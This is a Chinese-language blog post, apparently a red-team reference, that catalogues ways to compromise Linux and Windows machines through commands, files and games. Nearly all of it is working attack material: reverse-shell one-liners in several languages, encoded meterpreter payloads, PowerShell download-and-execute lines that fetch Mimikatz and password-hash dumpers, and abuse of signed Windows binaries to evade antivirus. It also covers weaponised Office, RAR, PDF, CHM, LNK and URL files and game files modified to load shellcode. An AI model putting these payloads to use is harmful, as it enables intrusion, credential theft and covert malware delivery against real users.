linux mkfifo 命令_一个文件一条命令一个游戏

此文章主要是列举双击一个文件,执行一条命令,运行一个游戏能造成哪些危害。

一、    Linux文件

从linux说开去,linux光执行命令就能造成很多危害,大名鼎鼎的一句话反弹。

bash -i >& /dev/tcp/192.168.163.132/2333 0>&1

base64变形

{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2My4xMzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}

用nc的方法

nc -e /bin/sh 192.168.163.132 2333

Python变形

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.163.132",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

同理,将这三条命令写入.sh文件(bash脚本),或者将python代码写进去也可以。当然,这些都需要nc(netcat)配合,需要提前在192.168.163.132上输入。nc -lvp 8088
既然提到了nc,就不得不介绍一下nc几种其他的常用方法。
一般是想办法在靶机上执行bash命令,然后恶意云服务器上用nc监听端口,用靶机去连恶意服务器,这是反弹shell。当然也可以正向连接,比如用恶意服务器去连接靶机的ssh,就是正向shell。ssh ubuntu@192.168.163.132
nc也支持正向shell,但由于防火墙或者nat技术,用的比较少。nc -lvp 8088 -e /bin/sh          (靶机执行)nc 192.168.163.132 8088       (恶意服务器执行)
很多服务器都将-e功能删除了,只能这样。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.163.132 8088 >/tmp/f
长时间监听某端口,可以看tcp流量。nc -lk 8088
探测端口nc -vz 127.0.0.1 20-30
传递文件nc -lvp 4444 < 1.txt                         (恶意服务器执行)nc 192.168.163.132  4444 > 1.txt    (靶机执行)
除了python之外, php,perl,java等常见语言也可以

php -r '$sock=fsockopen("192.168.163.132",8088);exec("/bin/sh -i &3 2>&3");'
perl -e 'use Socket;$i="192.168.163.132";$p=8088;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

java需要编译。

echo 'public class Test { public static void main(String[] args) throws Exception { Runtime.getRuntime().exec("bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2My4xMzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"); } }' > Test.javajavac Test.javajava Test

也可以用gcc编译二进制文件运行并执行命令。

echo -e '#include\n#include \n int main()\n {\nsystem("id");\n}' > id.cgcc id.c./a.out

这些当然已经有现成的项目可以自动生成,那就是msfvenom。
搜索想要的payload

msfvenom -l payloads | grep 'cmd/unix'

选择想要的payload

msfvenom -p "cmd/unix/reverse_netcat" lhost=192.168.163.132 lport=8088

c07b729efe642dd191fc8d8d6ed0d2c2.png

No platform和No arch的提示是未输入-a x86 --platform Linux,可以省略
选择想要的payload并输出成文件

msfvenom -p "cmd/unix/reverse_python" lhost=192.168.162.132 lport=8088 -o test.py

接收端除了使用nc,也可以使用msfconsole的exploit/multi/handler

use exploit/multi/handlerset lhost 192.168.162.132set lport 8088show payloads        #展示payload)set payload cmd/unix/reverse_netcatset exitonsession false      #后台接受多个shell,run -jrun

既然已经用到了msf,显然没有必要使用原始的linux shell,通常我们会选择更强大的meterpreter

msfvenom -l encodersmsfvenom -p "linux/x64/meterpreter/reverse_tcp" lhost=192.168.162.132 lport=8088 -e x86/shikata_ga_nai -i 5 -f elf -o test.elf

二、    Windows文件之powershell

当然,更多,更丰富的文件危害存在于windows系统中,nc传cmdshell,meterpreter这些和linux都是一样的。nc -lvp 8088 -e cmd
windows系统没有bash也默认没有nc,所以通常在windows系统中执行某个文件来反弹shell,最典型的是exe(exe后缀可改为scr,com,bat,cmd)

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.162.132 lport=8088 -e x86/shikata_ga_nai -i 5 -f exe -o 1.exe

也可以用msfvenom生成执行单一命令的文件

msfvenom -p windows/exec cmd="calc.exe" exitfunc=thread -f exe -o 1.exe

可以查看更多文件生成,比如asp,aspx,jsp,jar等等msfvenom -l formats
既然是文件,那就涉及如何下载文件的问题,linux中有好用的curl和wget,甚至nc,ssh都能下载文件。Windows则是用常见的三个工具,powershell,certutil,bitsadmin。

powershell (new-object System.Net.WebClient).DownloadFile('http://www.baidu.com/1.exe','D:\downloads\a.exe');start-process D:\downloads\a.exe
certutil -urlcache -split -f http://www.baidu.com/1.exe D:\downloads\a.exe
bitsadmin /transfer n http://www.baidu.com/1.exe D:\downloads\a.exe

除此之外,双平台还有ftp,自写服务器支持的脚本运行等方法,后者以vbs举例。

echo Set xPost = createObject("Microsoft.XMLHTTP") >D:\dc.vbsecho xPost.Open "GET"," http://www.baidu.com/1.exe ",0 >>D:\dc.vbsecho xPost.Send() >>D:\dc.vbsecho Set sGet = createObject("ADODB.Stream") >>D:\dc.vbsecho sGet.Mode = 3 >>D:\dc.vbsecho sGet.Type = 1 >>D:\dc.vbsecho sGet.Open() >>D:\dc.vbsecho sGet.Write(xPost.responseBody) >>D:\dc.vbsecho sGet.SaveToFile "D:\dc.exe",2 >>D:\dc.vbs

最近win10被曝出来一个可以下载文件的漏洞。

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe -DownloadFile -url http://www.baidu.com/1.exe -path D:\1.txt

这其中以powershell最佳,因为powershell可以文件不落地执行ps1脚本。

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.159.134 -p 6666 -e cmd
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

编码

powershell -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBhAG0AcgBhAHQAYQBzAGgAbwBrAC8AbgBpAHMAaABhAG4AZwAvAG0AYQBzAHQAZQByAC8ARwBhAHQAaABlAHIALwBHAGUAdAAtAFAAYQBzAHMASABhAHMAaABlAHMALgBwAHMAMQAnACkAOwBHAGUAdAAtAFAAYQBzAHMASABhAHMAaABlAHMAOwA=

本地执行有签名和安全机制,需要这样执行

powershell -exec Bypass "Import-Module .\Get-PassHashes.ps1;Get-PassHashes"

meterpreter上线

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8088  -f psh-reflection > shell.ps1powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.ps1');

隐藏窗口

powershell -NoP -sta -w hidden -NonI –c IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.ps1');

shellcode分离加载

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f powershell -o shell.ps1powershell IEX (New-Object Net.WebClient).DownloadString(' https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.ps1'); Invoke-Shellcode -Shellcode ($buf) -Force

更多项目见https://github.com/PowerShellMafia/PowerSploit

三、    Windows文件之白名单

Powershell可以执行nc,mimkatz,meterpreter等,甚至能无文件落地远程加载,windows上也存在其他方式可以达到类似效果。

Msiexec

msfvenom windows/meterpreter/reverse_tcp  LHOST=192.168.1.1 LPORT=8088 msi -o 1.msimsiexec /q /i http://192.168.1.1/1.msi

Mshta

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1 LPORT=8088 -f raw > shellcode.binbase64 shellcode.bin -w 0 > 1.txt

将1.txt复制到如下code变量中,然后本地双击hta文件或者远程加载即可

https://github.com/luoke90hou/files/blob/main/CACTUSTORCH.hta

mshta http://192.168.1.1/CACTUSTORCH.hta

也可以简单一点用msfvenom的hta-psh

msfvenom -p windows/exec cmd="calc.exe" exitfunc=thread -f hta-psh > 1.hta

InstallUtil
.net工具集,路径如下。C:\Windows\Microsoft.NET\Framework\v2.0.50727\
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
收集来的C#版工具如下。
nchttps://github.com/luoke90hou/files/blob/main/SharpCat.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"SharpCat.exe" /platform:anycpu "SharpCat.cs"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U SharpCat.exe

powershell

https://github.com/luoke90hou/files/blob/main/pshell.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe/reference:"C:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"/out:powershell.exe pshell.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe/logfile= /LogToConsole=false /U powershell.exe

Mimikatz

https://github.com/luoke90hou/files/blob/main/Mimikatz.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mimikatz.dll /unsafe Mimikatz.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U  Mimikatz.dll

Shellcode

https://github.com/luoke90hou/files/blob/main/InstallUtil-Shellcode.cs

msfvenom -pwindows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1LPORT=8088 -b '\x00' -f csharp > shellcode.txtC:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe/out:Shellcode.exe /platform:anycpu InstallUtil-Shellcode.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe/logfile= /LogToConsole=false /U Shellcode.exe

Regsvcs/Regasm
和InstallUtil一样是.net工具集,Regsvcs需要snk加密
System.Management.Automation.dll路径和snk文件生成方式

C:\Windows\winsxs\msil_system.management.automation_31bf3856ad364e35_6.1.7601.17514_none_236c706c3e93d144\System.Management.Automation.dllC:\windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\v2.0\Bin\sn.exe" -k key.snk

Shellcodehttps://github.com/luoke90hou/files/blob/main/regsvcs.cs

msfvenom -pwindows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1LPORT=8088 -b '\x00' -f csharp > shellcode.txtC:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe/r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll/keyfile:key.snk regsvcs.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe/U regsvcs.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exeregsvcs.dll

Mimikatz

https://github.com/luoke90hou/files/blob/main/katz.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library/out:regsvcs.dll /keyfile:key.snk /unsafe katz.csC:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exeregsvcs.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe/U regsvcs.dll

MSBuild

https://github.com/luoke90hou/files/blob/main/msbuild.xml

msbuild.xml可为公网SMB服务器共享远程加载

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1 LPORT=8088 -b '\x00' -f csharp > shellcode.txtC:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild.xml

https://github.com/luoke90hou/files/blob/main/mimikatz.xml

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe mimikatz.xml

Compiler

nc

https://github.com/luoke90hou/files/blob/main/REV.txt

https://github.com/luoke90hou/files/blob/main/Rev.Shell

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exeREV.txt Rev.Shell

Meterpreter

https://github.com/luoke90hou/files/blob/main/Rev.shellcode

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.1 LPORT=8088 -b '\x00' -f csharp > shellcode.txtC:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.shellcode

Odbcconf

msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=192.168.1.1 LPORT=8088 -f dll > 1.dllOdbcconf /a {regsvr D:\Downloads\1.dll}

CScript/WScript

msfvenom -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.1 LPORT=8088 -f vbs > 1.vbs

.wsh只需要将如上vbs代码添加加xml标签即可,注意名称最好为英文

<package><job  id="IncludeExample">    <script language="VBScript">                   vbs codescript>job>package>

cscript.exe a.wsh
.js加载shellcode需要vs编译,还需要用到序列化项目,仅以test弹窗为例,注入shellcode参考https://mp.weixin.qq.com/s/jzWHq7Yc1UjOwnXulIAPKQ
也可以简单一点,新建1.js

var objShell;objShell=new ActiveXObject("WScript.Shell");var iReturnCode=objShell.Run("calc",0,true);

序列化项目下载如下https://github.com/tyranid/DotNetToJScripthttps://github.com/tyranid/DotNetToJScript/blob/master/ExampleAssembly/TestClass.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc/target:library /out:test.dll /unsafe TestClass.csDotNetToJScript.exe -o test.js test.dllCscript test.js

此外还存在已经序列化好的项目

https://github.com/luoke90hou/files/blob/main/StarFighter.js

Powershell执行

$code = 'start calc.exe'$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded

得到cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==
替换var EncodedPayload = 即可Rundll32

msfvenom -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.1 LPORT=8088 -f dll > 1.dllrundll32 shell32.dll,Control_RunDLL D:\1.dll

注意本地加载需要绝对路径,也可以执行js代码

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

远程加载sct文件,使用CScript /WScript中生成的test.dll

DotNetToJScript.exe -m -o=test.sct -v 4 -d test.dllrundll32 javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://192.168.1.1/test.sct");window.close();

Regsvr32
可远程加载sct文件,使用Rundll32中生成的test.sct,先修改xml规范如下,然后重命名为test2.sct

<?XML version="1.0"?><scriptlet><registration     progid="PoC"    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >    <script language="JScript">                    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");            ]]>script>registration>scriptlet>
regsvr32.exe /n /u /i:http://192.168.1.1/test2.sct scrobj.dll

Cmstp
本地可加载dll和sct。

新建cmstp.inf

[version]Signature=$chicago$AdvancedINF=2.5[DefaultInstall_SingleUser]RegisterOCXs=RegisterOCXSection[RegisterOCXSection]D:\cmstp.dll[Strings]AppAct = "SOFTWARE\Microsoft\Connection Manager"ServiceName="tidesec"ShortSvcName="tidesec"
msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=192.168.1.1 LPORT=8088 -f dll > cmstp.dllcmstp /ni /s cmstp.inf

还可以远程加载sct,cmstp.inf本身也可以用公网smb服务器加载

[version]Signature=$chicago$AdvancedINF=2.5[DefaultInstall_SingleUser]UnRegisterOCXs=UnRegisterOCXSection[UnRegisterOCXSection]%11%\scrobj.dll,NI,http://192.168.1.1/test2.sct[Strings]AppAct = "SOFTWARE\Microsoft\Connection Manager"ServiceName="tidesec"ShortSvcName="tidesec"

保存为cmstp.inf,使用Regsvr32中生成的test2.sctcmstp /ni /s cmstp.inf

Wmic
可远程执行js,新建xsl文件如下

<?xml version='1.0'?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/>    <ms:script implements-prefix="user" language="JScript">        var r = new ActiveXObject("WScript.Shell").Run("calc");    ]]> ms:script>stylesheet>

wmic os get /FORMAT:"http://192.168.1.1/1.xsl"

更多白名单见https://github.com/TideSec/BypassAntiVirus/tree/03e4a91c36530f7df5cf9d1c23a0fbb3f2dbde91

四、    Windows文件之office

CSV注入
最简单的csv注入,新建一个txt,内容写入三句中的任意一句

@SUM(cmd|' /C calc'!A0)=cmd|' /C calc'!A0-3+3+cmd|' /C calc'!A0

改为csv,再另存为xls或者xlsx,常见于各种数据导出当中。WPS无效,office中存在安全机制

e20ac3ec331c6eb7db3e5cd4452480db.png

160aa860af19aba6c1fe8dea86ea0161.png

c50fb7d3f2d2fc081c0af9c9b38ed6b0.png

XXE

xlsx,docx,pptx均可以zip解压,可在[Content_Types].xml文件中插入xxe

]><a>&xxe;a>

b5d4903b92b03b520b202f5f29c2d1e5.png

如果服务器可以上传并解析此类office文件则会产生xxe,也可以尝试其他xml文件
比如poi-ooxml低版本存在CVE-2014-3529/CVE-2014-3574/CVE-2016-5000/CVE-2017-5644

CVE-2017-11882

影响版本Office 2016及以下,RTF栈溢出漏洞,刚出时只能插入43b数据,导致只能以mshta方式执行,现在能插入17k数据了。https://github.com/Ridter/CVE-2017-11882/blob/master/Command43b_CVE-2017-11882.py

python Command43b_CVE-2017-11882.py -c "mshta http://luoke.cn/1.hta" -o test.doc

https://github.com/unamer/CVE-2017-11882/blob/master/CVE-2017-11882.py

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f raw -o shellcode.binpython CVE-2017-11882.py -c shellcode.bin -t 0 -i 1 -o test.doc

后续还有CVE-2018-0802https://github.com/Ridter/RTF_11882_0802

python RTF_11882_0802.py -c "mshta http://luoke.cn/1.hta" -o test.doc

此外,CVE-2017-8759/CVE-2017-8570/CVE-2017-0199/CVE-2015-1641/CVE-2014-6352/CVE-2014-4114/CVE-2012-0158/CVE-2011-0104/CVE-2010-3333都为曾经流行过的office文档利用漏洞。

宏为office中的vba语言,以word为例,仅在doc和docm文件中可运行,并且也有保护。

b78436a9ac156a0c87bd3213ae06a92f.png

简单制作vba调powershell的宏

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f vba-psh

新建docx文档——视图——宏——查看宏(alt+F8)——宏的位置当前文件——创建

81ea9241084c90e3a1b27e7eefa7a4de.png

默认的NewMacros模块中直接复制vba代码。

1ed71f110e4ca28b6fe55c10c9fe6b86.png

关闭,另存为doc或者docm文档,再打开即可,如果要使用docx文件,可以远程加载模板来触发宏。
Excel步骤完全一样,如果碰到不执行的情况,可能是AutoOpen()要改成Auto_Open()
使用自定义控件可以更具迷惑性
开发者工具——旧式窗体——其他控件——Microsoft InkEdit Control——vba代码

e20ff9809ee5a4562bddae3e635e0247.png

DDE

Ctrl+F9调出,在大括号中添加如下代码,保存后打开,存在保护DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

e60daee6a78d65b45bf6a73bd8b7d275.png

b8a32ee84d5af5d1128da88acbaeea2b.png

b8a32ee84d5af5d1128da88acbaeea2b.png

目录穿越之后调powershell会有迷惑性

{DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -w hidden -NonI -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/shell.ps1'); " "图片无法加载"}

1bceaed0544ff2559704583a4634dc27.png

五、    Windows文件之其他

rarCVE-2018-20250, ace格式导致,WinRAR < 5.70 Beta 1 Bandizip< = 6.2.0.0 好压(2345压缩) < = 5.9.8.10907 360压缩< = 4.0.0.1170均有此漏洞。原理是解压到当前文件夹时可以解压至任意目录,一般是解压可自动启的文件至Startup。https://github.com/WyAtu/CVE-2018-20250
下载exp.py,修改相关参数,win7自启动路径如下/ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
/Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

571b57cceba73564c264bf4200ad7046.png

如果环境变量设置为python3而不是py -3,搜索py -3 acefile.py修改成python acefile.py

07582ea0010fcde5ec09c137e8fc7c30.png

python3 exp.py

a2f872990c94a0b49bd7cb0c6af884d7.png

PDF

CVE-2010-2883,影响Adobe Reader 8.2.4 - 9.3.4

use exploit/windows/fileformat/adobe_cooltype_singset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.1set LPORT 8088set FILENAME test.pdfrun

Adobe系漏洞众多,不一一列举,此外由于支持JavaScript,也被用于xss,常用于任意url跳转
迅捷pdf——缩略图——属性——打开页面——编辑动作——app.alert('xss')

85a59c3145b084a5e057322e63eb88d4.png

FlashCVE-2018-4878,影响Adobe Flash Player 28.0.0.137及更早版本https://github.com/anbai-inc/CVE-2018-4878

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8088  -f python >shellcode.txt

python cve-2018-4878.py
去掉广告和linux路径即可

4ea626bc42b2e3ba6eaff58cff0be908.png

同样由于Adobe系漏洞众多,不一一列举。

Html(js,IE)

Js可用activex调WScript.Shell或者Shell.Application执行命令,此处和前面CScript/WScript相关。更加简单粗暴的方法如下,建立1.html(或者去掉script标签保存为js,双击或者html引用都可以)

<script>var objShell;objShell=new ActiveXObject("WScript.Shell");var iReturnCode=objShell.Run("calc",0,true);script>

存在安全保护

dd1014345280a17428f5bc8708786f31.png

90cef373a98c14c31918fb5e30eb6402.png

CVE-2020-0674,UAF漏洞(释放后重用)

https://github.com/maxpl0it/CVE-2020-0674-Exploit

IE漏洞也众多,大量UAF,不一一列举。

Chm
需安装htmlhelphttps://www.microsoft.com/en-us/download/details.aspx?id=21138
其原理是chm用js调activex控件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f psh-reflection -o shell.ps1powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1');Out-CHM -PayloadURL http://192.168.1.1/shell.ps1 -Arguments Check-VM -HHCPath 'C:\Program Files (x86)\HTML Help Workshop\'

生成doc.chm,双击即可,不过存在黑框,去掉黑框可尝白名单中其他远程加载方法。

d657288aba49c84467f23fd5382dd2a7.png

Lnk

CVE-2017-8464,新建一个快捷方式

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8088 -f psh-reflection -o shell.ps1powershell -NoP -sta -w hidden -NonI –c IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.ps1');

2a55f3a5eda9b24317d411312e1a3b8c.png

右键属性可修改图标

0ab2836665e30d5e47a57259e6962631.png

SettingContent-ms

Win10引用的快捷方式,和lnk类似,双击即可

<?xml version="1.0" encoding="UTF-8"?><PCSettings>  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">    <ApplicationInformation>      <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelAppID>      <DeepLink>%windir%\system32\cmd.exe /c calc.exeDeepLink>      <Icon>%windir%\system32\control.exeIcon>    ApplicationInformation>    <SettingIdentity>      <PageID>PageID>      <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}HostID>    SettingIdentity>    <SettingInformation>      <Description>@shell32.dll,-4161Description>      <Keywords>@shell32.dll,-4161Keywords>    SettingInformation>  SearchableContent>PCSettings>

Url

注意mscorsvw.exe不是唯一载荷,任意运行时自动加载dll的exe均可被劫持。需要公网smb服务器,新建txt内容如下,改名为1.url

[InternetShortcut]URL=file:///C:\Windows\winsxs\x86_netfx-mscorsvw_exe_b03f5f7f11d50a3a_6.1.7600.16385_none_f47d7472a4c4e67e\mscorsvw.exeWorkingDirectory=\\192.168.1.1\Users\

Msf生成恶意mscorsvc.dll,放入Users文件夹并共享,最后双击url即可上线

msfvenom -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.1 LPORT=8088 -f dll > mscorsvc.dll

六、    Windows文件之游戏

War3
War3支持jass语言,可用于文件写入,早期利用是写入bat文件至Startup目录,后来被人研究出一个类型强制转化导致任意内存读写的漏洞,现在收费地图都基于这一原理制作。当然也可以被用于加载shellcode。

msfvenom -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.1 LPORT=8088 -f dll > mv.txt

https://github.com/luoke90hou/files/blob/main/%E7%9B%B8%E5%85%B3%E6%96%87%E4%BB%B6.zip

用HkeW3mModifier打开测试地图.w3x,替换掉mv.txt,重新打包

b3856de2ee6726d0470eb12effdb6238.png

然后用1.24E版本war3加载地图,游戏中输入-LS,会在根目录生成MV.txt,作为dll加载。MV.txt不会覆盖,所以如果有此文件先删掉。

mugen
1999年的游戏,加载人物存在各种溢出BUG,常被用来做人物杀伤力,也可以载入汇编代码,以下为一个选择即让电脑重启的人物。https://github.com/luoke90hou/files/blob/main/%E5%86%8D%E8%B5%B7%E5%8B%95(Reboot).zip

16进制打开Reboot.st(取消只读),发现汇编注入重启命令

f582a8d7ea2f5fa575a8a54986339c6a.png

ff d5【s】c7 40 14【hutd】c7 40 18【own 】90 c7 05 c8 40 4b 0d 0a【/r /】c7 40 20【t 0】0d 0a 90 b8
参考其他人物,注入代码ff d5【m】c7 40 14【shta】c7 40 18【 htt】90 c7 05 c8 40 4b 0d 0a【p://】c7 40 20【11.】0d 0a c7 40 23【111.】c7 40 27【111.】90 c7 05 d7 40 4b 0d 0a【111/】90 c7 05 db 40 4b 0d 0a【shel】90 c7 05 df 40 4b 0d 0a【lco.】90 c7 05 e3 40 4b 0d 0a【txt】0d 0a 90 b8mshta http://11.111.111.111/shellco.txt
使用winmugen打开加载人物即可上线,效果见

https://www.bilibili.com/video/BV1bi4y177pp

有问题可以联系邮箱sonomon@126.com,不常看晚回见谅

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值